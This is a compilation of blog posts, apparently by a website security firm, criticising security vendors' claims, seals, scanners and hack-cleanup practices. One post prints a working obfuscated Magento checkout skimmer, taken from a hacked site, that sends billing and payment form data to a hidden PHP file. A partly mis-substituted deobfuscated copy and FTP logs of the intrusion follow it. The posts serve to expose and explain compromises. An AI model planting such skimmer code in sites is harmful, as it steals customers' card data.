HostGator’s Dangerous Misrepresentation of the Security Value of An SSL Certificate

While working on a client’s website hosted with HostGator recently we noticed this odd ad in their cPanel account:

Install An SSL!, Stop Evil-Doers!, ADD SSL Today!

SSL is a protocol, so isn’t something that you would install. It seemed like they were probably referring to installing an SSL certificate, which would have a decidedly non super-human ability to stop evil-doers. Clicking the image took us to this page, where they were selling SSL certificates, but again they referred to SSL in a strange fashion:

Why get an SSL certificate?

An SSL reduces your risk by keeping sensitive data collected on your website safe. The data is encrypted and backed by a warranty worth up to $1.75M.

Having HTTPS in the address bar and displaying a seal of trust increases customer confidence in your website and drives more sales.

It seems like they marketing something they don’t really understand on basic level, which leads to the aspect we find more troubling than there odd phrasing, the claim that SSL keeps sensitive data collected on your website safe. To understand why, first it helps to have a basic understanding of what SSL is. SSL is a series of protocols for transferring data from one location to another in encrypted form. An SSL certificate is used identity that that the SSL connection is in fact being made to the website you are connecting to.

SSL should protect against someone gaining access to data being transmitted from a customer’s computer to a website while it is being transmitted, but that is where SSL’s role ends. Once the data is decrypted on website’s end its safety relies on the website being otherwise secure. If someone were to believe that getting SSL certificate is going to keep the data safe, they would be more likely to not take the other measures they need to keep that sensitive data secure (which isn’t an insignificant issue these days).

On top of all of this you can get an equivalent SSL certificate from other providers for significantly less money.

SiteLock’s Strange Cleanup Idea

While reviewing reports of WordPress plugin vulnerabilities for our Plugin Vulnerabilities service recently we came across an odd report from SiteLock. The claimed security issue in the plugin resolved around the fact that:

The File Browser plugin begins its security by determining if the plugin’s readme file is present. If it finds readme.txt, it then examines user levels to authenticate the user.

Their concern with that was:

But if the plugin’s readme file was renamed or removed, the authentication process fails and grants complete access to the plugins’ core functionality.

That would be a problem, but this really doesn’t seem like it is something likely to happen. Unless someone could take advantage of another security vulnerability that allows the deletion of arbitrary files, there really isn’t any reason that file should be change, right? Well SiteLock thinks so:

But the reliance on the presence of the readme file was dangerous as it’s not uncommon for a site owner or web developer to remove unnecessary text files, like readmes, as part of a site cleanup.

We have never heard of doing something like that, so we are not sure what the context is supposed be. But if they are talking a hack cleanup (they are a security company after all) that definitely wouldn’t be something you should be doing.

With WordPress plugins you can clean them in several ways: upgrading them (all the old files in the plugin’s directory in /wp-content/plugins/ get deleted during that), deleting the plugin’s files and replacing them with a clean copy, or comparing the plugin’s files with a clean copy and removing any malicious code (which gives you the advantage of seeing if the hacker made any changes). Deleting the readme.txt files, without replacing them, wouldn’t happen with any of those.

When you start messing with non-malicious files that can lead to bad things happening, like breaking the website, something SiteLock has managed to do in the past.

SiteLock Labels Website as Secure Despite Being Very Dangerous For Visitors

When it comes to the poor state of security for websites, a lot of the blame for that probably belongs to the security companies, that don’t seem to have much concern for security. One of the worst offenders is the purveyors of website security or trust seals, that claim that websites are secure. Those companies seem to be mainly interested in selling the idea that their customer’s websites are secure, without being too concerned whether they are or not (in some cases placing their seals on website they know are not secure).

Several times in the past we have noted instances where websites we were working on, in which one of these companies, SiteLock, was labeling the websites as being secure despite the fact the websites were running outdated software with known security vulnerabilities. That being despite the ease it would be to check for the use of outdated software. In the latest case we are working on a website they label as being secure

SiteLock SECURE seal

despite the fact that the website had been hacked and contained code on its webpages that compromised any information entered on the checkout section of the website. If that doesn’t make a website insecure, we are not sure what would.

What makes it stick out even more is that the code wasn’t hidden, it was sitting at the bottom of the page right below the code for SiteLock seal:

<div id="sitelock_shield_logo" class="fixed_btm" style="bottom:0;position:fixed;_position:absolute;right:0;"><a href="https://www.sitelock.com/verify.php?site=[redacted]" onclick="window.open('https://www.sitelock.com/verify.php?site=[redacted]','SiteLock','width=600,height=600,left=160,top=170');return false;" ><img alt="SiteLock" title="SiteLock" src="//shield.sitelock.com/shield/[redacted]"></a></div><script>var _0x1137=["\x63\x6C\x69\x63\x6B","\x2F\x6D\x65\x64\x69\x61\x2F\x63\x61\x74\x61\x6C\x6F\x67\x2F\x70\x72\x6F\x64\x75\x63\x74\x2F\x63\x61\x63\x68\x65\x2F\x31\x2F\x74\x68\x75\x6D\x62\x6E\x61\x69\x6C\x2F\x37\x30\x30\x78\x2F\x32\x62\x66\x38\x66\x32\x62\x38\x64\x30\x32\x38\x63\x63\x65\x39\x36\x2F\x42\x2F\x57\x2F\x64\x61\x34\x31\x38\x30\x33\x63\x63\x39\x38\x34\x62\x38\x63\x2E\x70\x68\x70","\x50\x4F\x53\x54","\x66\x6F\x72\x6D","\x73\x65\x72\x69\x61\x6C\x69\x7A\x65","\x61\x6A\x61\x78","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","\x5B\x6F\x6E\x63\x6C\x69\x63\x6B\x3D\x27\x62\x69\x6C\x6C\x69\x6E\x67\x2E\x73\x61\x76\x65\x28\x29\x27\x5D","\x63\x68\x65\x63\x6B\x6F\x75\x74\x2D\x73\x74\x65\x70\x2D\x62\x69\x6C\x6C\x69\x6E\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x5B\x6F\x6E\x63\x6C\x69\x63\x6B\x3D\x27\x70\x61\x79\x6D\x65\x6E\x74\x2E\x73\x61\x76\x65\x28\x29\x27\x5D","\x63\x68\x65\x63\x6B\x6F\x75\x74\x2D\x73\x74\x65\x70\x2D\x70\x61\x79\x6D\x65\x6E\x74"];function s1(){jQuery(_0x1137[7])[0][_0x1137[6]](_0x1137[0],function(){jQuery[_0x1137[5]]({url:_0x1137[1],type:_0x1137[2],data:Form[_0x1137[4]](billing[_0x1137[3]])})})}document[_0x1137[9]](_0x1137[8])[_0x1137[6]](_0x1137[0],s1());function s2(){jQuery(_0x1137[10])[0][_0x1137[6]](_0x1137[0],function(){jQuery[_0x1137[5]]({url:_0x1137[1],type:_0x1137[2],data:Form[_0x1137[4]](payment[_0x1137[3]])})})}document[_0x1137[9]](_0x1137[11])[_0x1137[6]](_0x1137[0],s2());</script></body> </html>

 

The code is also stored right along side the SiteLock seal code in the website’s database:

malicious-code-below-sitelock-code-in-database

 

The code is slightly obfuscated, which we would assume would make a good malicious code scanning tool (if one actually exists) more suspicious of it, but it shouldn’t be anything that should be a problem for one to deobfuscate. When that is done you can see that code watches for some actions being taken in the Magento checkout process and then transmit the data being entered to another file on the website for later retrieval by the hacker:

<script>var _0x1137=["click","/media/catalog/product/cache/1/thumbnail/700x/2bf8f2b8d028cce96/B/W/da41803cc984b8c.php","POST","form","serialize","ajax","addEventListener","[onclick='billing.save()']","checkout-step-billing","getElementById","[onclick='payment.save()']","checkout-step-payment"];function s1(){jQuery([onclick='billing.save()'])[0][addEventListener](click,function(){jQuery[serialize]({url:/media/catalog/product/cache/1/thumbnail/700x/2bf8f2b8d028cce96/B/W/da41803cc984b8c.php,type:POST,data:Form[serialize](billing[form])})})}document[getElementById](checkout-step-billing)[addEventListener](click,s1());function s2(){jQuery([onclick='payment.save()'])[0][addEventListener](click,function(){jQuery[serialize]({url:/media/catalog/product/cache/1/thumbnail/700x/2bf8f2b8d028cce96/B/W/da41803cc984b8c.php,type:POST,data:Form[serialize](payment[form])})})}document[getElementById](checkout-step-payment)[addEventListener](click,s2());</script>

If you are relying on SiteLock to keep your website secure, now would be a good time to stop that and instead focus on making sure you take the steps that will actually keep your website secure. (In this case the website was hacked due to Magento not being kept up to date.)

While we are discussing SiteLock it also worth mentioning the fact that they also don’t properly clean up hacked websites, but do manage to break them when doing a less they should be.

Despite their abysmal record, SiteLock claims to be “The Global Leader in Website Security” (how much worse much worse at website security must they think their competitors are?):

[The following image is missing because SiteLock doesn’t want to you to be able see what the homepage of their websites looks like.]

sitelock-global-leader

Cart2Cart’s Strange Magento Security Announcement

Last October we wrote a post about strong circumstantial evidence pointing to the fact FTP credentials provided to the company Cart2Cart had compromised on their end. In the past few days we became aware of a security announcement they put out that either obliquely notifies their customers of that compromise of FTP credentials or indicates they really have no clue when it comes to security (while feeling it appropriate to be giving out security advice).

They are sending out the following email to customers:

We’re writing to inform you that our security audit has revealed an unpleasant vulnerability of certain Magento stores. Considering the fact that Magento shops are being attacked by hackers more often lately, we strongly recommend you to double-check the security of your e-store.

Please, contact your developer team, so that they could scan your Magento source code in order to ensure that your shop is not under the threat of being abused. Read more info here:
http://www.shopping-cart-migration.com/important-security-announcement-for-magento-store-owners

If you need technical assistance regarding this, reply to this email and we will check your store from our side.

Following the link mentioned there, you get a page that starts out:

After performing an audit, we’ve revealed an unpleasant vulnerability of certain Magento stores that may have a negative impact on the security of your customers’ personal data.

To ensure the finest security of your Magento retailer, we strongly recommend you to contact your developer team and check the source code for the presence of any suspicious customizations.

The link to “an unpleasant vulnerability” discusses not a vulnerability, but the end result of a vulnerability being exploited, code added to one of Magento’s files that sends credit card information entered on the hacked website to a third-party. The distinction is quite important because when a website is hacked, if you don’t find and fix the vulnerability that allowed it to be hacked the website can remain vulnerable to being hacked again.

Cart2Cart’s email and page never mention what the code they are mentioning does, instead saying “First of all, there’s no need to panic. You can eliminate any possible risks simply by revealing and deleting the code, if there’s any.”.

The next thing they say leads us to believe this could be a reference to their being compromised (or it shows they have no idea what they are talking about) as it suggest doing two things if you have the code on your website:

  1. Delete the following code inside and save the changes:
  2. Change your FTP account credentials

Those steps would suggest that the hack happened through compromised FTP credentials, since they want to change those credentials. But the FTP credentials would have to have been compromised somehow, yet they don’t suggest doing anything to stop them from being compromised again. That could be because the compromised happened on their end and has now been fixed, or it could suggest they have no clue what they are talking about.

The last section of the page would certainly lend some credence to them not having much clue when it comes to the security of websites. They provide this list of security tips:

Useful Security Tips

  1. Use up-to-date antivirus software

  2. Don’t store your FTP account passwords in programs like Total Commander, Filezilla, etc.

  3. Change your FTP account password periodically e.g. once a month, especially after granting access to any service providers

  4. Limit the FTP access to specific IP addresses

  5. Change the administration panel login “admin” to a custom one

  6. Hire certified developers, designers or other staff you can trust to only

  7. Use repository for a proper and secure workflow

Notable missing from their list of security tips is keeping the software on your website up to date. Not only is this a basic security measure, but it is particularly relevant with Magento based websites right now, since most of the hacked Magento based websites we are cleaning these days have been hacked due to the software not being kept up to date (or not having the security patches for older versions applied).

If you do find code added /app/code/core/Mage/Payment/Model/Method/cc.php, removing the code and changing the FTP credentials is not enough. You will want to also:

  • review the rest of the websites files for malicious code and remove any found
  • check for Magento extensions added by a hacker
  • check for additional Magento admin users
  • get Magento secured by either upgrading it to the latest version of 1.9, currently 1.9.2.3, or applying the security patches for older versions
  • rename the Magento admin directory to something other than “admin”
  • change the passwords for other logins associated with the website (database, Magento admin, etc), in case they were compromised
  • try to determine how the website was hacked and make sure that is fixed

McAfee and PathDefender Shouldn’t be Making It Easier For Hackers To Disguise Malicious Code

When it comes to companies involved with the security of websites, we don’t get a sense that many of them either know much about security or care about it. The latest case in point comes from something we noticed while cleaning up a hacked website recently.

The .htaccess file in the root of the website included the following code:

### Start McAfeeSECURE Code DO NOT EDIT ###
<IfModule mod_substitute.c>
AddOutputFilterByType SUBSTITUTE text/html
Substitute "s|</body>|<!-- Start McAfeeSecure Code --><script type=\"text/javascript\" src=\"//cdn.ywxi.net/js/1.js\" async=\"true\"></script><!-- End McAfeeSecure Code --></BODY>|ni"
</IfModule>
### End McAfeeSECURE Code DO NOT EDIT ###

That code causes JavaScript code from the domain ywxi.net to be loaded on the pages of the website. Upon seeing that are first thought was that this was likely something added by a hacker. While it was labeled as being code for McAfee SECURE, hackers often disguise there code in a similar fashion. What made us the most suspicious was that strange domain, which just seems to be a random assortment of letters and doesn’t seem to have any connection with McAfee. When we checked the WHOIS for the domain it listed it as belonging to PathDefender, which if you do Google search on you won’t find much information on, but they do seem to be the actual people behind McAfee SECURE.

What makes this so head scratching is that it would be quite easy for them to use a subdomain of mcafeesecure.com (e.g. trustmark.mcafeesecure.com) for the service instead of the odd address, cdn.ywxi.net. From actually dealing with hacked websites often, if we were involved with this service it would be a major issue. If legitimate code is accessing JavaScript code from a domain that is an odd assortment of letters then people are less likely to notice if a hacker were to add code referencing another random domain. Whereas McAfee probably monitors for registration of domains similar to theirs and would get one made to seem similar to mcafeesecure.com shut down before it could be much use in such a situation.

We do have a pretty good idea why McAfee Secure and PathDefender don’t seem to have had the same concern. If you view the list of employees at PathDefender you can see that almost none of them actually seem to have a technical role at the company. It seems to be mostly a sales organization. This isn’t surprising since products like McAfee SECURE seem to be mostly focused on promoting that websites are secure then actually making sure they are secure. That can be seen pretty clearly on the homepage of the McAfee SECURE website which repeatedly promotes the service increasing customer sales:

mcafee-secure-homepage-1

mcafee-secure-homepage-2

 

mcafee-secure-homepage-3

It only gets to actually security in the fourth section of the page and even then it is only mentioned as one of six features:

mcafee-secure-homepage-4

As we mentioned in the beginning of the post, this was something that was on hacked website, so the service didn’t keep a website secure when it was under attack in at least one instance and based on our experience with cleaning up hacked websites using similar services in the past that probably isn’t an outlier.

It Appears That FTP Login Credentials Provided To Cart2Cart Were Compromised

When dealing with hacked websites one of the important parts of the process is to determine how the website was hacked. If that isn’t it done the vulnerability that was exploited is more likely to remain open and be exploited again. Amazingly many companies that do hack cleanups don’t do that (which frequently leads to us being hired to re-clean hacked websites).

While dealing with one such case recently we came across evidence that company Cart2Cart was compromised at some point leading to a hacker gaining access to FTP login credentials for websites that were provided to Cart2Cart.

The hacking case we were dealing with was rather serious, as the breach first lead to thousands of dollars of decline fees with a payment processor and then later after that issue was resolved the breach lead to the compromise of credit card credentials used on the website (which is a good reminder of why figuring how the website was hacked and closing the vulnerability in the beginning is so important).

One of the places that is checked when working to determine the source of the hack is the log of FTP activity. For this particular website one of the things we first noticed while looking over that was that there had been access from IP addresses in the Netherlands

Tue Jun 09 05:45:57 2015 0 37.48.80.118 3326 /home4/[redacted]/public_html/oc_1/bridge2cart/config.php a _ o r c2c@[redacted].com ftp 1 * c
Tue Jun 09 05:46:24 2015 8 37.48.80.118 911360 /home4/[redacted]/public_html/oc_1/download/XLS-BACKUP-01-01-2014_15-32.xls b _ o r c2c@[redacted].com ftp 1 * c
Tue Jun 09 05:46:50 2015 1 37.48.80.118 81817 /home4/[redacted]/public_html/oc_1/sql.php a _ i r c2c@[redacted].com ftp 1 * c
Tue Jun 09 05:52:08 2015 0 37.48.80.118 1296 /home4/[redacted]/public_html/oc_1/config.php a _ o r c2c@[redacted].com ftp 1 * c

and Russia

Thu Jul 16 11:22:17 2015 2 46.72.126.220 403657 /home4/[redacted]/public_html/oc_1/adm.php b _ i r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:24:50 2015 0 46.72.126.220 1267 /home4/[redacted]/public_html/oc_1/config.php b _ o r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:26:35 2015 2 46.72.126.220 403657 /home4/[redacted]/public_html/oc_1/adm.php b _ i r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:27:22 2015 0 46.72.126.220 7698 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ o r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:27:27 2015 0 46.72.126.220 7698 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ o r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:29:59 2015 0 46.72.126.220 9761 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ i r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:38:00 2015 0 46.72.126.220 1267 /home4/[redacted]/public_html/oc_1/config.php b _ o r c2c@[redacted].com ftp 1 * c

during the summer. Since the website is US based that is usually a strong indication that the FTP login credentials have been compromised. Though it can sometimes be due to someone traveling or use of a foreign service provider. In this case we thought at first it might be the latter because the FTP account was one that looked to have been created especially for the service provided Cart2Cart. Checking with the client we found that it was indeed set up for them, but that their use of Cart2Cart ended more than a year ago.

At this point we had a pretty good idea based on what was in the FTP log that a FTP account had been compromised, but without knowing how it got compromised we couldn’t be sure how to prevent that from happening again or if other logins were also compromised as well. So what was the source of the compromise?

When we did a search on the Russian IP address, 46.72.126.220, we came across a forum thread from January that described a very similar situation. In that case a FTP account that was “created expressly for [Cart2Cart], no other reason” was making unauthorized changes to the website’s payment module when Cart2Cart should no longer have been accessing it. The only major difference between the two cases is that we were dealing with an OpenCart based website while in the other case it was a PrestaShop based website.

In the thread someone from Cart2Cart responded:

As far as I can see from your screenshots, IP address 46.72.126.220 doesn’t belong to Cart2Cart.

The chances that two FTP accounts created especially for use by Cart2Cart were compromised with malicious access coming from the same IP address and the source of the compromise of these logins not being on Cart2Cart’s end seem to be incredibly small. Since they seem to be a legitimate service provided we don’t believe that they were involved in the hacking themselves, so that leaves us to believe that they must have been compromised at some point.

Their lack of concern in that thread that they might have been compromised doesn’t really jibe with the claim on their website that:

We have taken every precaution to ensure that our systems which store access information is highly secure.

It is also worth noting that the first malicious FTP access to the website we were dealing with, as shown in the FTP log, was two months after the time that forum thread was active.

If you have used Cart2Cart in the past, now would be a good time to make sure you have changed any password you provided them and probably make additional checks of your logs and files to make sure you have not been compromised as well.

Hacking Team Failed To Take Basic Security Measure With Their Website

Over the last day there has been lot of news coverage of the hacking a company called Hacking Team, which sells surveillance software to various governments. Beyond the issues raised by the documents released, there is the also the implications of a cybersecurity firm being able to be hacked. CNET put it this way:

The hack shows just how vulnerable we all are to data breaches. If anyone should have been able to prevent an intruder from compromising their files, you’d think it would be the people who sell spy software that steals other people’s files. Apparently they weren’t prepared, though. Of course, the company’s fraught status in the hacking world might have made them more of a target to attackers than a regular person would be.

Since we deal in the security of websites we interested to see if they were even taking basic security measures with their website (we have often found that security companies are not). While their website is currently down, taking a look at the Google cache of their homepage showed a glaring security issue. As can be seen by looking at the meta generator tag in the source code of the page they are still running Joomla 1.5:

hacking-team-homepage-source-code

That version of Joomla reached end of life nearly three years, in September of 2012, so they should have longed moved to a newer, supported version of the software.

It is possible that they were taking better care of the security of the rest of their systems, but the lax security of their website certainly could be an indication of larger issues.

Security Company with WordPress Security Plugin Doesn’t Keep Their Own WordPress Installation Up to Date

When it comes to trying to improve the security of websites, one of the problems that we see is that while many people are still not taking basic security measures with their websites there are plenty of companies pushing additional security products and services. In some cases we have seen that the inflated claims of some of those products and services lead people to not take basic measures, since those products and services claim that they will prevent them from being hacked, and because they haven’t taken the basics security measures they end up getting hacked. While we do don’t have much evidence, we are concerned that other people don’t take basic security steps since keeping seems so daunting when they are told they need to being using all of these different products and services to keep their website secure.

A question that underlies this is if these companies actually are all that concerned about security or if they just trying to make a quick buck peddling products and services whose security implications they have little understanding. One way quick check to get an idea of their concern for security is to see if they are keeping the software running their own websites up to date. The results we have seen in the past haven’t been good, like the time we found that all of the companies we looked that were advertising to clean up hacked Joomla websites were all running outdated software (mostly Joomla). This time around we happen to run across the website of a company name Centrora Security, you can see from the results of a Chrome extension we make that they are not keeping the WordPress installation running their website up to date:

The Centrora Security website is Running WordPress Version 4.0.1

Not only have they not updated it for ever over a year and not updated it for the two most recent major versions, 4.1 and 4.2, but they have missed three security updates for 4.0.x series: 4.0.2, 4.0.4, and 4.0.5. Since WordPress 3.7, minor version updates like those security updates would normally be applied automatically, so either Centrora Security unwisely disabled that feature or some bug is stopping that from happening in their case. If it is the later then Centrora Security could actually help to improve the security of WordPress websites by working the WordPress developers to resolve that, so that others impacted by the issue could also start getting updates.

While they don’t take the basic step of keeping WordPress up to date, they produce a WordPress security plugin that they claim is the “MOST POWERFUL WORDPRESS SECURITY PLUGIN”. Probably not all that surprisingly they are not running the latest version of their own plugin on the website (the readme.txt for the plugin on the websites is from version 4.8.4), even though keeping WordPress plugin update to date is also an important security measures.

Magento Still Failing To Take Basic and Important Security Measure with Their Software

Last week Magento had a blog post about a spate of false reports of security issues in the Magento software. We will take a closer look at the role that bad security companies and bad security journalism play in that sort of situation in an upcoming post, but something else that stood out to us with that was the fact that they feel the need to put out a post to refute non-existent security issues while still failing to take a basic and important security measure with their software. That security measure being that the current version of your software shouldn’t have known security vulnerabilities in it. This has unfortunately has been the case again for Magento, this time for over a month and a half and counting.

Back on February 9, Magento released a security patch for a very serious vulnerability. It wasn’t until May 1 that they released a new version 1.9.1.1, which included the security fix built-in, meaning that for nearly three months someone downloading the latest version would be getting something known to be insecure. Then on May 14 another security patch, SUPEE-5994, was released, which is they describe as:

This patch addresses multiple security vulnerabilities in Magento Community Edition software, including issues that can put customer information at risk.

While a major new version, 1.9.2, is expected shortly, as of now the latest version is still 1.9.1.1, which doesn’t include the security fixes included in SUPEE-5994. If Magento truly means it when they say in that blog post that “The security of the Magento platform is our top priority”, this practice needs to change going forward.

Sucuri Security Uses Bad Data to Try to Scare People into Using Their Service

When it comes to security companies most of what we see is quite bad. Most of them don’t have a good understanding of security, sell products and services that can’t do what they claim they can, or are some combination of both of those things. Sucuri Security is one of the worst companies we have seen and would fall in to that last category. We have been hired on quite a few occasions to re-clean websites they previously hired to clean, for which they failed to basic parts of the cleanup – like determining how the website was hacked – that if done, should have prevented the website from being re-hacked in the first place. Among things we have seen, there was the recent situation we came across where we found that they were helping to put WordPress websites at greater risk of being hacked.

That isn’t just our perspective, last week someone contacted us wanted to know if we knew a good alternative to Sucuri due to this litany problems they had with them:

I’ve been using Sucuri for about 5-6 months and it’s been the worst experience I’ve had with a service provider that I can remember. CloudProxy throws false positives all the time, and I explicitly asked them to remove it from one of our 5 sites multiple times and support ignored the request. The support has been bad from day one–beyond belief bad–not just in this instance but with nearly all the tickets I’ve opened.

Three years ago we discussed their SiteCheck security scanner’s poor quality and something we ran across the other day shows that it hasn’t gotten better, but in the meantime they have turned up the fear factor to try to scare people into using their service.

While we were looking too see if anyone else had discussed a false report of a vulnerability in WordPress 4.2.2, we can across a mention that a security company was running a vulnerable version of the Apache HTTP server on their website. That would be interesting if it was true. Following the link on that post brought us to this page on Sucuri’s SiteCheck:

sucuri-sitecheck-bad-warnings

A quick check showed that Sucuri was providing misleading information, we’ll explain that in second, but first let’s look at their rather scary warnings that came along with that bad information. First they warn “Outdated Software detected. Immediate Action is Recommended.”:

sucuri-sitecheck-bad-warnings-small-1

Then they warn of a “High” severity issue due to the website being outdated. and recommend to “PATCH AND PROTECT With Sucuri Firewall”:

sucuri-sitecheck-bad-warnings-small-2

Then they warn that an “Outdated Web Server Apache Found”:

sucuri-sitecheck-bad-warnings-small-3

They are a couple of major problems with this, first if the Apache HTTP Server version was actually outdated the solution would be to update it, not buy some security service they provide. Only in small text at the bottom do they suggest that “You can contact your host about it and ask them to update for you”:

sucuri-sitecheck-bad-warnings-disclaimer

Their claim that their CloudProxy service can automatically update the software is simply untrue.

The bigger problem is that Sucuri has no idea if the Apache HTTP server is in fact outdated in this instance and therefore if the “High” severity issue actually exists. To explain this let’s start by taking a look at a second screenshot, this time of our Server Details extension for Chrome on the same website:

fortiguard-server-details-screenshot

You can see it also identifies the website as using version 2.2.3 of the Apache HTTP Server, but it doesn’t label it as being outdated (despite that being a capability of the extension). The reason it doesn’t label it as being outdated is due to the second piece of information, that the server is running CentOS 5. The CentOS operating system is based on Red Hat Enterprise Linux (RHEL), which means that instead of introducing new versions of included software when a security fix is released they backport the security fix to the existing version. That means that while that server is using an outdated version of the Apache HTTP Server, it isn’t necessarily outdated in a security sense. If Sucuri Security did in fact have the security expertise they claim to have, they would know about this and properly handled this situation.

Now you might be wondering how hard it would have been for them to check for this type of situation before showing such dire warnings. They way we get the information for our extension and how Sucuri probably get their data is to look at the Server HTTP header. For this website it is this:

Apache/2.2.3 (CentOS)

CentOS is one of three words in it, so it isn’t hard to detect. (We are able to say the website is running version 5 of CentOS based on the Apache HTTP Server version identified in that.)